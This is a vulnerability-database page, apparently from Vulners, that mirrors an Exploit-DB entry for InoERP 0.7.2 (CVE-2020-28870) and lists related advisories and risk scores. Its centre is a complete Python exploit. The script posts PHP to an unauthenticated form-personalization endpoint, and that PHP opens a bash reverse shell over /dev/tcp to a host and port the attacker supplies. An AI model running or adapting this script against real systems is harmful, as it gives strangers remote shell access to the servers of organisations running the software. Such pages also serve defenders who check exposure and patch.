Lucene search
+L

InoERP 0.7.2 - Unauthenticated Remote Code Execution (RCE)

🗓️ 26 Oct 2020 00:00:00Reported by Lyhin\'s LabType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 349 Views

InoERP 0.7.2 - Unauthenticated Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2020-28870
10 Feb 202107:40
–circl
cnnvd
CNNVD
inoERP Input Validation Error Vulnerability
10 Feb 202100:00
–cnnvd
checkpoint_advisories
Check Point Advisories
InoERP Remote Code Execution (CVE-2020-28870)
23 Feb 202100:00
–checkpoint_advisories
cve
CVE
CVE-2020-28870
10 Feb 202100:19
–cve
cvelist
Cvelist
CVE-2020-28870
10 Feb 202100:19
–cvelist
euvd
EUVD
EUVD-2020-21261
7 Oct 202500:30
–euvd
mend
Mend
CVE-2020-28870
10 Feb 202100:19
–mend
nvd
NVD
CVE-2020-28870
10 Feb 202101:15
–nvd
osv_cve
osv_cve
CVE-2020-28870
10 Feb 202101:15
–osv_cve
prion
Prion
Code injection
10 Feb 202101:15
–prion
Rows per page
#!/usr/bin/python
# -*- coding: UTF-8 -*-

# Exploit Title: InoERP 0.7.2  Unauthenticated Remote Code Execution
# Date: March 14, 2020
# Exploit Author: Lyhin's Lab
# Detailed Bug Description: https://lyhinslab.org/index.php/2020/03/14/inoerp-ab-rce/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2
# Tested on: Ubuntu 19

import requests
import os
import sys

if len (sys.argv) != 4:
	print ("specify params in format: python inoerp.py target_url attacker_ip listening_port")
else:
        target_url = sys.argv[1]
	attacker_ip = sys.argv[2]
	listening_port = sys.argv[3]
	target_url += "/modules/sys/form_personalization/json_fp.php"
	target_headers = {"Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
	code = "<?php\nexec(\"/bin/bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'\");".format(attacker_ip, listening_port)
	expl_data = {"get_fp_from_form": "true", "template_code": code, "obj_class_name": ''}

	requests.post(target_url, headers=target_headers, data=expl_data)
	print ("Check your listener.")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.03263
349